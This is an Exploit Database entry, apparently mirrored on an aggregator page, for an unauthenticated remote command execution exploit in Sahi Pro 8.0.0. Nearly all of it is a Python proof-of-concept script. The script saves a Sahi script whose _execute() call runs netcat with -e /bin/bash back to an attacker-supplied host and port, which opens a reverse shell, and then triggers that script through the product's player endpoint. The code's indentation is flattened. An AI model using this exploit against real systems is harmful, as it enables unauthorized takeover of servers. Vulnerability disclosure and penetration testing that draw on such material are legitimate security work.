Sahi Pro 8.0.0 – Remote Command Execution

• Exploit Database
• 35 阅读

• 作者： AkkuS
  日期： 2019-07-12
• 类别：

  • webapps
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/47110/

• # Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution
  # Date: 2019-07-12
  # Exploit Author: Özkan Mustafa Akkuş (AkkuS)
  # Contact: https://pentest.com.tr
  # Vendor Homepage: https://sahipro.com
  # Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar
  # Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html
  # Version: 8.0.0
  # Category: Webapps
  # Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
  # Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor.
  # It is possible to execute commands on the server using the function "_execute()".
  # This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session.
  # It can take 5-20 seconds to receive session.
  # ==================================================================
  # PoC:
  
  #!/usr/bin/python
  
  import sys, requests
  import colorama, random, urllib
  from colorama import Fore
   
  def bannerche():
  print '''
   @-------------------------------------------------------------@
   | Sahi Pro v8.x - Unauthenticated RCE Exploit |
   |Vulnerability discovered by AkkuS|
   | My Blog - https://pentest.com.tr|
   @-------------------------------------------------------------@
  '''
  bannerche()
  
  def check_nc(rhost,lport):
   choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): "))
   if choose == "n":
  return False
   else:
  return True
  
  def execute_command(rhost,rport,filename):
   runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile"
   runheaders = {"Connection": "close"}
   rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0"
   runsah = requests.post(runuri, headers=runheaders, data=rundata)
  
   if runsah.status_code == 200:
  print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...")
   else:
  print (Fore.RED + "+ [X] Failed to run script.")
  sys.exit()
  
  def create_sah(rhost,rport,scdir,lhost,lport):
   
   filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah"
   payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC
   sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+""
   saheaders = {"Connection": "close"}
   sahreq = requests.get(sahuri, headers=saheaders)
  
   if sahreq.status_code == 200:
  print (Fore.GREEN + "+ [*] "+filename+" script created successfully!")
  execute_command(rhost,rport,filename)
   else:
  print (Fore.RED + "+ [X] Failed to create "+filename+" script.")
  sys.exit()
  
  def main():
  
   if (len(sys.argv) != 6):
   print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>"
   print "[*] <RHOST> -> Target IP"
   print "[*] <RPORT> -> Target Port"
   print "[*] <SCDIR> -> Target Script Directory"
   print "[*] <LHOST> -> Attacker IP"
   print "[*] <LPORT> -> Attacker Port"
   print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444"
   exit(0)
  
   rhost = sys.argv[1]
   rport = sys.argv[2]
   scdir = sys.argv[3]
   lhost = sys.argv[4]
   lport = sys.argv[5]
  
   if not check_nc(rhost,rport):
  print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!")
   else:
  create_sah(rhost,rport,scdir,lhost,lport)
  
  if __name__ == "__main__":
  main()